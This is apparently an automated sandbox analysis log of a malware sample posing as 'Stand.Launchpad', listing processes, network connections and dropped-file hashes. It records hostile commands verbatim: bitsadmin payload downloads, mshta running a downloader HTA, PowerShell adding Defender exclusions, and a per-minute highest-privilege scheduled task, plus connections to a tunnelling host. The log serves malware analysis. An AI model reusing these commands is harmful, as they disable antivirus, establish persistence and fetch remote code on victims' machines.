PID 2832 wrote to memory of 2028 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe
PID 2832 wrote to memory of 2028 N/A C:\Windows\system32\taskeng.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe

Uses Task Scheduler COM API

persistence

Processes

C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Local\Temp\Stand.Launchpad.exe"

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\Downloader.hta"

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

"C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe"

C:\Windows\SysWOW64\bitsadmin.exe

"C:\Windows\System32\bitsadmin.exe" /transfer 8 https://github.com/calamity-inc/Stand-Launchpad/releases/download/1.9/Stand.Launchpad.exe C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.Launchpad.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Stand.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Stand.exe'

C:\Windows\System32\schtasks.exe

"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Stand" /tr "C:\Users\Admin\AppData\Local\Temp\Stand.exe"

C:\Windows\system32\taskeng.exe

taskeng.exe {FBDDF939-C0E9-42DD-8638-5E66F1C17F72} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

C:\Users\Admin\AppData\Local\Temp\Stand.exe

Network

Country Destination Domain Proto
US 8.8.8.8:53 github.com udp
GB 20.26.156.215:443 github.com tcp
GB 20.26.156.215:443 github.com tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 us3.localto.net udp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
US 8.8.8.8:53 Name1442-40971.portmap.host udp
US 130.51.20.126:40971 us3.localto.net tcp
US 130.51.20.126:40971 us3.localto.net tcp
US 130.51.20.126:40971 us3.localto.net tcp
US 130.51.20.126:40971 us3.localto.net tcp
US 130.51.20.126:40971 us3.localto.net tcp
N/A 127.0.0.1:40971 tcp
N/A 127.0.0.1:40971 tcp
US 130.51.20.126:40971 us3.localto.net tcp

Files

memory/1932-0-0x000007FEF5F43000-0x000007FEF5F44000-memory.dmp

memory/1932-1-0x0000000000A70000-0x0000000000A98000-memory.dmp

C:\Users\Admin\AppData\Roaming\Stand.Launchpad.exe

MD5 d51da3fa31165f2536dddad44974af34
SHA1 703a62d92fbfe23611297715ca50bb82b4ff55a1
SHA256 9cc68d4ab822bd8e5fd66f40b2c99bce04805505e593027aca67256ab63c6210
SHA512 3adfaf5e251d974a9d576c71e51e3b1c59ddee2feecf281801166cf9448a3e51e6066737c06bee20089721630f4016f16ae7297061112cb23f2fe786386e4197

memory/2756-9-0x0000000000E40000-0x0000000000E60000-memory.dmp

C:\Users\Admin\AppData\Roaming\Downloader.hta

MD5 b0a6d4e05dc2225dd03902a3061a4041
SHA1 39c500eefbf78d7d51768edb6983c361213cb7b8
SHA256 05e5c927c6366bebab2fb341d233887f503fb692d8f6880f7d1327b64705c1ee
SHA512 96fb1e3046a0daddd6a17a38fcfa8ad6e00f8c4950cc7e46c8a79b24817b2f271229d15facaa510105d3c95234a9f095fdf8ff8bbb8099c47565bd955c316918

memory/1688-28-0x000000001B670000-0x000000001B952000-memory.dmp

memory/1688-29-0x0000000001D20000-0x0000000001D28000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

MD5 810bed1af6e4d383a00283a0ce7e9a3c
SHA1 b1616b7b8702a12c03e75d556645a67868e86451
SHA256 e88c722575e03b8c55e8f3b8cbdc2bb573186906b5160b786512e746ee3039fc
SHA512 d9e7d1be37c4301c394886ade88cebd376ec6bf528d7bc4daaf142b5980acbac4292c0b4f0523713d5091371036510d5dc6847eda0e53fecd63e78da0bf6b56c

memory/2792-35-0x000000001B6C0000-0x000000001B9A2000-memory.dmp

memory/2792-36-0x0000000001E90000-0x0000000001E98000-memory.dmp

memory/2236-54-0x0000000000350000-0x0000000000370000-memory.dmp

memory/1824-57-0x0000000000E20000-0x0000000000E40000-memory.dmp

memory/2028-59-0x00000000001C0000-0x00000000001E0000-memory.dmp